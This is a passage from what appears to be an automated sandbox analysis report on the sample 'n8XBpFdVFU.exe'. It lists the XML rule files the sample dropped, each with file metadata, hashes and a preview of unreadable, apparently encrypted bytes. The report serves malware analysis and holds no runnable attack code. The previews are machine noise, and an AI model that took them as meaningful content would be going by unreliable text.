.....Y.e.q./....?...\|wou....,5D}.....Wr...z...]C...2....a.....H..P.k....\.UUx8._91M...D.....A..'...>a..l_....X...8Or/.......K.\.)....d...ZTn.7P&...4}w../..lx7..0w.o..".P.....Z...]...U....d}.Cc..e..Fx...2.b...B/.V"...N.DZ(6C.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699367572813338
Encrypted:	false
SSDEEP:	12:V6H8YUMwbY6HrCrB+alCbkfKVwKXuIMpkbcb407byojSVCnoJNlevXGM88f1+ciD:E8YWbY6HrwmkXKf4b407GR7evN8tbD
MD5:	31AE47CAA717E31257F2C54A7DF96CDB
SHA1:	851BC3B5235F7BA7AB2325D8BD39668379481D24
SHA-256:	4E214CD3675AAE3369993EB29018FCC7B9BB750407F0EA0580F48D25DAFEDD6D
SHA-512:	853B6DED80881F33204E0C8F3FCC157E213D0C68995BA2187E5F5855E70C6231543BF6787941E99C6B380DACF280BA6D1DBEA69F5207CD336B835055DCE7E80B
Malicious:	false
Preview:	<?xml.h..mkr....\...,....<+:.o0R..X.....zy.fW..G...s..}!..!...M1..)E.7....l...EK.A/.%-.}..F.....H.-.&....a+...Y..2.9.V..$...q.....v.AR\.\..7..+=.9p..Z.?..(.>..\.;\.. u....t..Xp.dN`...$......3.g.I......f...0...f\1.X.GL^W..A...GYB.p.w..h..$.r.t..=(u.s....'.....b......D..5M..T..@..Z....P.ssS...+%..8............H5D........L=.e>......\..kV.6...!T[...8.U....-.i0..O.M.j..j.+.m..H.Q....X...4a.r........F..Wpf.j.Yh.Mg.t.1....6W...f#.U.j0PR.s..]"/.._.!..Y.......Se...ln.H4.l.O.m5n...t.XL.!..De...U1}.."]!..FJ..UZ5.'..3...+G&..f...........5......\{..fh>\.Y.....T$...'1...J.Q0.I.J.\...%B.oQ...:.1Uv.."..P#.j.x.I.T.R%hG.....7LaT;/...........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.714585832813008
Encrypted:	false
SSDEEP:	12:RVlBiGDNZxbk/4vJV0AL5egep6AeXFWb9VCvVQifSxdkBbqHHj8H1+cii9a:RVlLDhk/2/L4geUdWbmvuifWNHj8UbD
MD5:	409ABAC2C3494540D01304FF1055DD07
SHA1:	AF517CBCCBCE0F3A592FE3ED9F761605A5B2CEC4
SHA-256:	B7F8F47422673D593DDB4AE5C965B54F0678889C828612035A5D3C98CB093223
SHA-512:	ED942D7BF651BCB2267835BEEC3EF73766D34878857433F25EA3551756E04241E0BBB8E4512CD5A281ED05FF59D11C1DE6DC037FF50D57672FDECA4F0760AA9E
Malicious:	false
Preview:	<?xml.X.?...h..8.<..7l..B.E.....o.[H.8.....p...l..J.,p.V.QX.g...r..Y..E.."..U-........o..hB.....c.Si..OV..t\....p."....%'..=^..".jQ.....4.\v..?.r.....oX..o..Y..a.].z.....W...mW.....h......(E@.H.....B.j8...E.]..e+)...P....W....Z:.....Zd..S.....9+....?(C.{...Q.XH..O.=..$...b".pz.O.1..WQ...@:CD...k(...#...q..R?.p.W....j..ZA.5H.>.A.k3.pC....>..w.>..;...[..D.......]Y..7.b..5..........>.u.(.:..qZ.X5.....y.....4.!nBs.P..#..[{.V..&....]...:.Go.0...M.G...5H..Ny.?.d.......c~.>o.:.q....>dz./.wj.......*..l.O..A'..&3>1<%J.{...[.=..U.T.Y...n1..X..I..h7.....i.."...d..$k2.....3......d)z..........g......;C.zf..h..}..b..A.b.N....L...N.E.....2.d".,.)...K@Oy........@.....W.7.%.W.../;h..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.714056750955196
Encrypted:	false
SSDEEP:	12:Bdl0laaFUalFlPl3ezvEK83pMkfZjtqE4bKoAxKANOV8699NeysH9FV1+cii9a:BX0laQUUfc81fBklQG8692y+9FObD
MD5:	71936D48D4D701EF88AFAB806195F4FA
SHA1:	B7F1887EE289FB09B6496825EE69E56E076F3867
SHA-256:	4908EB428FE0FB004923DFCD6773752EBFB9184B8FE44FF61801F5E7EE9D0B50
SHA-512:	736D86DCB7684B8C76A3AD46D49EC9F1257A3459D8B0625881BC687BBAE7E4BC3D6F0AAF1BCA76704E537E53BF032B6B69E592CFFE2F681A79C6594C782D2885
Malicious:	false
Preview:	<?xml.IF....\|#H~b.....I'EoR...0...b...I.&.+.Z@.e.\#<./{...W.....^..d~) y..u.?8..A#...#.-./.Q?2..~#.....s.....Y..8.....}.w..+.$I.....A..P..s.#.%02.W...+4...)ZS.F..v..<".S.%.-..M.T..&...=P.6,....{.8./0$h\.+..Rz.RrY:.adgT..p`....<....Dnx...FycV....K..t.Z...d"Q....V1#?.y.....w.5m:. ..2i.q!!.)..4N..:...fy..Y.Y.........^`./.1...6s..J..b7..G.'.m.e50.c.=>...]R.....4.@.1W$\|.$.K...1M...K`.}..&&.h3..d.eK>............-.eJ2...(..A..[A=^..w.(.....B..4C.n...n..7..f(...y....fm..e.W.`8M....*.....79.k...9-._.N...^...w.v..u......?.w .......L<.CR.vd.._._.+...5...I......c.0X..'....@.N......9.h.u...8.s{......Z..N..9.#V{....=....K.....u..74.a....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.713439296117447
Encrypted:	false
SSDEEP:	24:LwaBvEcbml0BH41vS9affjgo30z/kTVEHbD:Lw7054c4jj3+GKD
MD5:	A71DF35F16B0576372CD19C9A6A13682
SHA1:	AA105A358F2F73DC1E0111EC29FE92902913AAF7
SHA-256:	DE06BA8AB817FBDAA215545EC1DF95EE3A5CC8A6B4C0B14CC188B82FED6948A5
SHA-512:	786520304B87D6B40E3720E29360B561B70ECC6F14D2DA29B98AD79861EA0A660D71CDE8EC2BFE7C34C55962BACBECC09EDBE0FB3EBDC00341947DD28BEFDC94
Malicious:	false
Preview:	<?xml.5"..T..}n.M2..k.y..@pZ...4..&.v....i.?.E....E_.h.G..M..1M.N..Y..dDjU.....{.HMY..b.of.S.....Y...]..@.X..j..<.6.k."..X.shNwbM...qo....f............:<.C.N...^%\G..S....k..e.Egw$.$.]H.. .)4.o.A>.k0..Q.......K-........j.c^.{..._.,.2C!.I6...MCM.F.A"..{_X.G.....0..u..F#\....O.._.....>._........q.x...W0&..y.I.....s...E>5c...{1.!.....TA..b$.&%]\|1<..@.b.<.gX?...FIi\|.......X..v..9......."[.U......K...}w..S...Umi.$o.i .....S....~Hb0.._..?.qa(4.f.......H.+.8.^..}..G\.J.h.\|..Ji.J.p.p.aT>....{w..)S"..~.35.`.M...`Y..d.... upG.cIT<..>6h./I1u.e......".N....;..u...7...i1.xK.....O.&....d.:O. A.f.m.I..2.\|...pR..5...%...x..D........?.Y..6.a4V..}N8......Ex.W[4j....+6....<.q1....~eh..@.......#X.h.i.CF...I2.9....i..x.U0..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.712077767285232
Encrypted:	false
SSDEEP:	12:6WpZkrNTNOtch0yxZkgs4wCWqhFEHQ977Q3n7Ha6qG376Sq2mmLg9/ApT7o1+ciD:6VZROQ9kp9yhmHy7Q3nDa6qG376S7mmt
MD5:	42FD82D95326383E5C7F10F42F4EEEDC
SHA1:	32AA7942030E8E1C414B15254A84DD9A5D4C1466
SHA-256:	D9F2F25206CCFD26C27E0C57633023B764205122BD56E6D453C055F37DFA2432
SHA-512:	1EAD4B9FF5B3DF324301F599F70C03462A7DA563858568CB0CC1003EDD448E36CC477BB4D299E0DF6F91B121A21EEA199E113EB31A9089B3BC04563AFC952897
Malicious:	false
Preview:	<?xml7..u.Z.,.[..P..Z?...@...J7$6..0.....[.A2x........$3@B..(X.g..Id.v=..Z...D^&..Z$.S..%.(....[..I..r..:...W...Hf...L@u.u.&.~.>a.....M.._..`..e}....6O}i}..).........e.U.z7a.Y}...s.M....S.ng.k:..V....T..b).. (u!..\|.."h.m@.1(xlI.k..<;.....\|s.~D@..Q....Jul..%..Tg.]R-..n.~^i..D..m......A....Cb....Yu.b.b.=.8P.s...^.@.......v>t.C.r..4N./.S.H........M .&U.\..'-X.....R..&b.Q....5.....R...G...q't....$mg..nV...+4r.......w..Q.!I.......&.%.2&.l/..L..K5M.sfax"...1.ie.x.....]....}&D?...W/.r,..U....Z(W.3..........#....F.[h.L..../...w.uA..Q.#......H^..c..O..Jr.....j..... U@.K!..].bem.\|%...Hl....~O>..t....5.`*.6R.$..%.;...3.d.<6..&<1..W.d.<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.682203942001681
Encrypted:	false
SSDEEP:	12:gixmEz+NAGj/MSL4F4ye68QZspBtaxmBO7nYiLLWRj6M1752kGscD1+cii9a:gGzMAS/GZZaBzO7nYiLLwmc752k1cQbD
MD5:	65E254767CA19198B1C69192CF2F082F
SHA1:	5DB0A453349924F0562957C595EC2E8115E7EA6B
SHA-256:	1BE77BBAE107ED85E0D4704B4D81FC583A14C802D88CD67B5BEA4917B1E40635
SHA-512:	D099D7BF5D6B59D267586E4DBA25D899F28D2F87287711E0522E092501B6AA7DEBF379A73C584D8405DF7A031F198BEB62B9E36259F262D129EF2AD1AB011FD0
Malicious:	false
Preview:	<?xml..d/TQn...u...&..,..q'/.J.b.....#p..6V...fp..b..4.?:....%qM..a.f.8"@..6..&...]D..}.w..q....w....H..... S......{........#...[$.}.F.....dO.{...=.\.......y]k.w...<.Q.U.y..7...b.......$B..........=.............VYWL;?.5a....2~.x.......wrV.6........x.BVy.X.I.S.)..A....D,.B....!..Sif}....3.Z....#B.U.3@4..s...N...8..2.r...R..:m.m.P..h..C.Z]d.O...x......[...o.B....Y{..-..S.J}.2.g..g..P....AD.-U$.^........z.....?.N...G;.n.;.m..m69.{<..l..++.i.;3O."_.W....j...v1kA..'..'.[.R...FF..3]....5f(....3o..^i....^'......s2...b..a.....o./h..U./..V..z.!..l.Y.l..K#..m.9...1...m.R..g6.R..o.8.?[.].u/......W9.{....+....E.]..x...<6O?.........j..W ........[.,.b.7.f.YE.`.xWs.W)}.[.2zNY.k..W.6.....{f.D~.l.2'.W.N...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.705616669254756
Encrypted:	false
SSDEEP:	12:nr4n9XOXd8QKMSy01TJZALIMrlXfQ3gTfbcrjNhdd4L/GNW1+cii9a:nr49O503IrxfQwTTajNrU8bD
MD5:	77A196C2CCBAADE0F244097EA3DC70E5
SHA1:	9383DEC7E28415B3F1C18BEA0916633E57EEA0D5
SHA-256:	CE0A478B32EA65A17538CE95D5DB3A11C52C5BC09D76B6B23C2104144E22465E
SHA-512:	522AE50DF40D05B70BA557A63C82DDDAAEA9E8B7E84BC6D27ADA269823E856D56FBA70FC1B67F989717D3CA06CFD57379757F30327E8C6CF491887B84180304E
Malicious:	false
Preview:	<?xml..D.\|"......q8.r.h..-....2..tC.!4.....%f......95...N.Y...A.Vb.o...@.R.....\|Y.g.Q'7.....>...a[\|....?^.2_Z.....[.I."&.-V.y.D./..v.....0.Y.....>....U....c....Uq..m.!..A.A..i!......]fi.}"1..y..T2mv.......U.S^..}...7$.rN..Q..,....?...2..1..\|M..[j.Y.;...9/.a..E..?..s...x..9...B..Fp.I...n.z..H[...o...~.g9\|...Z.}. ..y].b....s.6S=_./.be.3.qR.t....>..'i...j...1S%.#..>?.\|0...s......U..e.D..%..W\|xr....~.}K.R.....&.,6.r.<...0~S.j.BRgb.&.7..O...Oz.c-.,...,....6...C+.*.<M....n.....LE..`...^]u@.d...fWb...yG5.y...<.`.y;w..f....+1...p..W..S..;..=..C.%.&.C..\|..F.A....%...,l.F+.......@...%..kT.n.d .n..<............o...g........+n.C.?.....n..;\|...S;..........qWSSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.73998355798327
Encrypted:	false
SSDEEP:	24:lOe00tLz7w3GVTk19CneuQwaKU+Ir3F0y8HgsbD:lq0gwkjkS9rmHxD
MD5:	050820092B8D08ECAB24BF37CC6BA56B
SHA1:	3969870F84A0CF6EE6FDB132D25D1B713E193C0A
SHA-256:	1133B49D443D5E644C1258BE95F8F8CCB1972B221142B9CDB15C082F216DD26E
SHA-512:	6C138E00986D60820E7EE0688E711D544B6C3345674F796B9C619CC9F8429AAE38EB1EE3DF2AD95E899A35EA1AA6CF2BA62EF6C9A0EB02DDE2033AF62F4B1648
Malicious:	false
Preview:	<?xmlz.B.n.{..X.L..^....\I..8....}.......X.k...l.w.....Wu....P.c.K....Z]...}0.WE.\|.....4Y.k.\..hEV..T7r.,.Sy....}..uS.......H.#..B..Y....Y\|..BR.(U[.K.z._..<...[:(.>C_..$&...B.r7^..2[l...8...t.S&..g.K.c...W...^.....\|....%...FW..Xp...<E.._....y..&.(...oR.+[D.........l`..;....Q.>.$.......m6C.........O......q..1A.5..Lz.........K.&e...F....=...Q..r...0n.........~P.j@..j.Z.....5=.z.D.....,.%..D._........b8..4\|(.aTg...u..9..]y8r.H ...J.i......k.h.6.cg.[.x.....>.."PJS.M.q...q....>FH..e6?.x$/..S..S.m&.x.V....A...,G..T&.j.H.O6.....<..R..'...$.....l^.23$j..P Z....a..B`Y...3T@..Z..d..P..%v:.<...[..c..{.....k[n"#.m..V....5. <!...i.M.-T....{.,fPa..;.(Ffw..Q...8.s...`.>.#.u....Xp....T.+...*..U.+@.L1{6SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.708710929995623
Encrypted:	false
SSDEEP:	12:I/majsHi985o3H4NMpp4uruZQ00LThGQ/0GZIRm8XTrrLu43kG/AGncTxoNWOuwU:I/Bqx5o3H4wVWQNJ//Zb8vm43notVKub
MD5:	DE9D25C02A4355ECA6E45DB0C738CB70
SHA1:	945C83A2A8D66E8A753967CC42E1A6749C685A9A
SHA-256:	9AA2D921C6B301AF2927F274B57189A8FEA956C93A0F74FEC0B18105722F0039
SHA-512:	A37F33DD5343828AFE59807A605F9ABE4C9E4EF9192811942BD645C4151A43A480BF22FB541F3B15EEE040CCBC078726BE6878CE37FF2912E8BC308FEE03062E
Malicious:	false
Preview:	<?xml.t.......~Z......[...A._....V\|t)S):U...f4.......&........d._~e..&l."uxy&4.ZFB.sD...\|.....J..Hx^&.k..ic.......Z..{.D.".E..._........X..;2..D.?.y..x.V.d..[G\..@..'K..h.R\.../<...1.:...x..B.G...U.hC<{t........O.K.....l..0.:.p.!...X....}.-...f.&.....V.I{..#..(...d?......8...../..:...A... wH...j...j...Z%4i....E.....g.(qOP...k.3...o.~... ...{a.j.._.u.'..,G.D/s.k..Z..]....".4..:p...;.._-ee..L\|._.$.......Nr..\|.?8<d...I..t.;...... K.e8s.RWQy......_kJ.!.'c.a5.5v........D>X..#...O@...Ya..a...a..Fx].........V..P.......%>9.`..W.../....z.ns]......!^.\..F.'E..H..... ..g...'.5>.Rs..oP.?.:.SH_.+.....)j:.*..S..6dzZM...+,r.O.B..e...u$O..^(..J....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.7425251305163245
Encrypted:	false
SSDEEP:	12:pliQubxRGNvSHE79IBDhibp3WNIVx9IW+9BOv7jbkzb9NdcvcIsxKQf5z9kap9tp:pqGgk6dibpjD9IW+0jbbctKcz9kiNbD
MD5:	33EF877A95B7D2C5E453A9B9BE1269CA
SHA1:	57E85039913C9CB5C3FCD3BDA6674CA11D1639EB
SHA-256:	3E2E48C04153185F704420A73CC2CE89018F45E30979E05D923CDA2586E62C89
SHA-512:	9A516F829CD6C3B9EE01AAE4A2CB1C088350EE9734CF330981C87B8C429889E1FC86F500CB25EC79BAB7284E0081B25AF956F1C0094E1A0AD131B8CF2B9CCB85
Malicious:	false
Preview:	<?xml79.\.P@....\|.g..O[.E..z..f4..)....q.........<Q..5E...M\|...^...k...q....v....5IJeW.....Ny.J.l...b.....Kuf.+5..73z;.y=0...0R.4....)L.I)m...%..'B(..1....J.%...n.S..>`E.x.A.HsE/+.....d....$.X..'n.....L..1.}Yz?.7......\...j..+64...qN..Y.....:....U8.@=./.8.D.#.U.5..s.....!.....%,...>.4.OR4......s..o9...<.$.$55N]....m&.U....I.S>U...x.dmhAe$.W..G...p...Z..k..F(....F...V.3...X.'.."..e....a.....U.>Q...1{.V...O.....y...{5nd....,..a.._..!lQ..q:.>.l...H..a...D...._.O.._. ..y.k....j....qR.0.F=..xC.Y{....R\|.jy...caC.tHE(.K..\|...)k.G..oF,wH.P.]1-.p.mc5......K.).6..H._....^'....@;[..o-i..45...3JlIE....T.fh..z...DW...c...r....i.b..u=.j...C.=...*.....Y..m....d-..8b..'1D.\|.<..]...8.......q..j.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.758253526606387
Encrypted:	false
SSDEEP:	12:cKh+efQHM/6QbTbkD/7ZQAgXjbgFcYV2TW+TLI8Jv4LckCOprHzX64kG+1AEDlVm:/h+yQdObkDj+AgPgFtVaY8VZkxprHjN/
MD5:	EC12F0ADF3371DE88B00D63BE56FC421
SHA1:	97C590E2BFE513218DBCBF31B3E75184507338A6
SHA-256:	A7989FA0CF25C5FF2A28131EAAB76D1F0E7ACC3DE833855157D9D59432C234EC
SHA-512:	3BC7EDD0549DC2694CB5603C6AA5228B573B1A67B90BB0BEA8262C9BA9B272B5D6F2071BA9F398C785101B38567CDB368683C75DF6150A1DD0CE4E3F76FFC6A7
Malicious:	false
Preview:	<?xmlS>G._..<L5,... 5T......B..m. ..[.G.!t.....y.T.c....U.M......H.K..r...h..o1.3[.y....."....O..&....9.qfb+H.I.W.o-......,.._...\2.._[..dZ......F@.S.. ..].... ....f..A.W.k....N....Y.........3H...'[.).c-..!d..O..#...g...........(z....x....a4...3.VaN.X.......!.d..w.\|x..]......M......V.........W.S.......ZR.1.V..c..>..hH.M.8U..z#.^J..!L..........l.03^).._......@5..\@.$Yo......f;.......t.s.gO...(z.lvu..K...... ....{4.'B7.SWn.....R.......+....]\|...............F..XX..Z....T.....<.k...A.6./..Fm}:..-Ah.vc.7...J.[...A..w..@7:.'.7.}x..7...q.\|..2!.I.#...S.3rx+.0"...w.T..t..&.k$+...!.M....\|>...`.y...po.!.bj......h...I..y..d.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.697353307060628
Encrypted:	false
SSDEEP:	12:TByKK+z9XYj+Bm1ru13rb4zXuKHb3ZCX8Ba0h9SEt7hdOYADw1c92I1+cii9a:tyKK+pS1wP4zXuKH1CXIflt7LkW4wbD
MD5:	66B00477AFA8CDB0160CDE87AED1A94C
SHA1:	F6FB339B07C395CA8B049690CB5822F06CE794AF
SHA-256:	8540533875169F988C4529FBD267A20F4AF89032501102008697262301DA5B5C
SHA-512:	7DE02AF4FE437A21060306F982F83D762240E76BD7670BAC7C1E397B02BEECC6C794B98E2A8F59954144DF0622F224AEE0827468D35E9C8B53CCB547EB3327F9
Malicious:	false
Preview:	<?xml.p.GL........D3.s.g.....N1!.A.1......#..%..vV..dl.I...c.a..e..[f.,^.....U^.F[.96.Bf"...3.S...J>...8.7.....Uu.\|f..X.....r:....=..N.U.p0.m.t....4.Y...[...m.UZ.....%pTD...~:....\|_2.....D..2P.&...>A.C..........g.3+*R....p.^..Fv......7..%..^O..D.........i.~.u.j..F..(....<.(..Q@.hO.`....B..Y}.h.d.-._.f..^.X...lJ:l>..].f.E.EmN_{V<..-y.O....5..K.+..-.qb.tP......uAOgI.....>....N..].LP.f.1..1R.K...c..:.@).....P.'1qE..._uM.....u(Z..v8kF._...+....D.[`..`.>...q...._Y...O..8...W.1C>........\.%..Be;q...j.......y..j..o.yb_@..4.7wh..t........z.ga.)_xCK#vg......8).:..g..DQ.....P.;.h. .f.M.......Y.8M...8..:5#qn..~L.....Okk.......~?..Uf.....'.).V.O.\|m=.....N..cj.6......>...2.I_.!.].......`R.A.Te.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.674262686835613
Encrypted:	false
SSDEEP:	12:AwliO3E1aorqtivXIRjiK3l0zJPtjzgOUvk8ZN1kkCUO0nMc5jwyW1+cii9a:qTAYCgXIjiK3mzzIOp8wyNbD
MD5:	A0455F089EA42E67E64C2BE691EAE439
SHA1:	23B59E1DE4BED12FCB25CC547010313FC379D7E5
SHA-256:	EDECDFF85E0653DE4FDC547726B59736A2FFB3B09986064A6767B2FE95F8AA55
SHA-512:	47F168892433C120FEDD35BD6A6C57ACDA603159AD00DCD8F449B7CE2630F2A04F9082F29D5E47F48E9164EE3B93E6471FCA8C7E7422FA39E4446A01258FB3CC
Malicious:	false
Preview:	<?xml....@L..q.1.. ...._I...;7..8.5y9......l.Z)...S..^vdF.....y.K.EM.:.T..l.%.QG...<>.WG..&$..\|..Sb.4.h3.6..t.k[...[...]...9..p...'...]......,8..&.4............1.k7j..l.S7..l....X.0c...3...k!..@)...c^..5.I..F.Y=.........v.E...m....H.yD....d.Q..nC...F...[.._Qe8.v...s....9..\|.(.....f.l...G1....P..U..K.......?~R40.K>..klNn.il#.......]5......&....R...S.9.....X...@..!...\J....B.h.G#d......{..0D@M.OD)...HY....a. k..+...h...e....'!._...[q......:....M.u...D%..PgN..).2..../.v.W.Oc...."..(V...).G*.8)"e..n..u\.....$..a.G.1y.....(_...........z.zH.a..Z..4.....4".[...\|.....B..?p..H.\|.CaZ00.4..(.3.}.<.".....v..u3&!a...n."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.735199611641635
Encrypted:	false
SSDEEP:	24:f+iaM1G0gMj/vJ15v28kAQprsDfXVSQsdGbD:mzM1Gjy3xv28kASrufVXD
MD5:	248A9A67FFE5B55C28289B69B10829AC
SHA1:	C0BA11D1C3DC00BE603479922E09ACBAC0BF43FE
SHA-256:	3E9A54EDB53838563E5B4A89691AA148A8CCA8B7F332143F10BEC8B301AC118E
SHA-512:	913C117D1F573A390EA874D5E4EE309A2B18D8D0952DFC09723E87D7B0F75AFB3CB19321A597F48B2D7B286573EBC9EBFC5D76C325517ABD307785F3FD66673A
Malicious:	false
Preview:	<?xml..[.]$.....u..;.5.[XD.I.K........ndU...(&.....).<d.L.,....... ;b.Sx.......TE]2. . ..W.n._..a..............Y..l...O.As...g."...d.t.......M.......?.'.."kc5...B..Y?......:l.K.;.U........<$...yw.=.)99.Q]q/....G...Gp....tw..a/...9%....._...a...q.u..Y.0...\|lA'c......[.n...i<.4.5......\|e........S..`.......i...7.X.......m...........F..n3Z].q.A22.e9.-..Z._..+S.V...f.,_.%.=}.C3o..*].MV.J....g,)S...._.A.3...I..".j.:7.J....'}M.T.#.h+z.e/..k.r....F2c..!....v...W..oJ.I.....k.0..#u.=.#.T.5).....d.,.@..t.7.01..t...+/]`@...2..%...].i\|X.^a..4$.]..;..........t.~.%..QB.$.. .:<4..~...j..i9...GK..A...[$.......k\.E....#..y!....;.>P..Tz......&..v..9qb`3E.T.j. O......%...y..kr;.Fs.~;.c.V.X..c.H.JASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.712917023595547
Encrypted:	false
SSDEEP:	12:dQYqeM+IAfEeHhasu2uqoSuUtn52eyWwsQJYC1wTA/BF7+ZwHv3ePiV1+cii9a:zlM+br0VPAUeyPsIh9+Z4veaObD
MD5:	288C886715D84BE5357935DB6F0B0694
SHA1:	833AC72B15B2EAE9EC6A09D461694ACE9F23D2ED
SHA-256:	A7B02EAFAC91FDAB297218618D478C25CD05F68F588F5E3A5DE80249F5A7A9FB
SHA-512:	69854B26091FE1561BD6423836D468D970FA5DED5B17D05E0ACF23BBF5F0B1D424A2BEDCA08F6BDE3DA8573B3B33417DBBABB9C03DA42DF0E434D63CC14495FE
Malicious:	false
Preview:	<?xml.&../\|.S...#.....N.....KL..\...{......0..M...>...$.3...I...........Y.J^.1.f.z...>...F.%..1...w...K..+_.....+N2Aq...fj......u.9.8...W.!'.8=.5...!f..iX..(.s%.....v....7......~d.....H..[....6.Q,......'o.....D4N...D....x....]?6..p....x...c.V.\|..RdlP!%.....1..X.6S....h..-....]..4.......y...}...$...N..8..z......B.....<...i...Xo............L.4A.j...&.f.J..........k..a...^...Z..G..%B..-.S..R.k..o...-.e*.o\|{.......QB`..F...dY..k.fo<..%..2.^i.VF...G.p.z._.K..!..k..[."...B+C.d...Aw....(.w.......a.L..V.9@.......v.T.D^.8...F.M.7.Y......kss..0.$,..MF....H.).R;;..H......5......n.)="7...-..b[&y..&.[.x&..b../.I.J4...T...?e......w...&..rzF..&...#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.72935726818595
Encrypted:	false
SSDEEP:	24:PKucXsWaLWCXOrWP18zDQ8cneCKP2x9wEl8sbD:EsWaPXYy18zDbClxak8mD
MD5:	A8D493B2DAC02A23F9DCBD7B90C20F07
SHA1:	1F61C97AE59686E3DCD3F90F71FC36C2F13FD983
SHA-256:	782FBE4C47C1BABC42EC7F08DA853F831802338B0D5A4536F14925CDB9537DF3
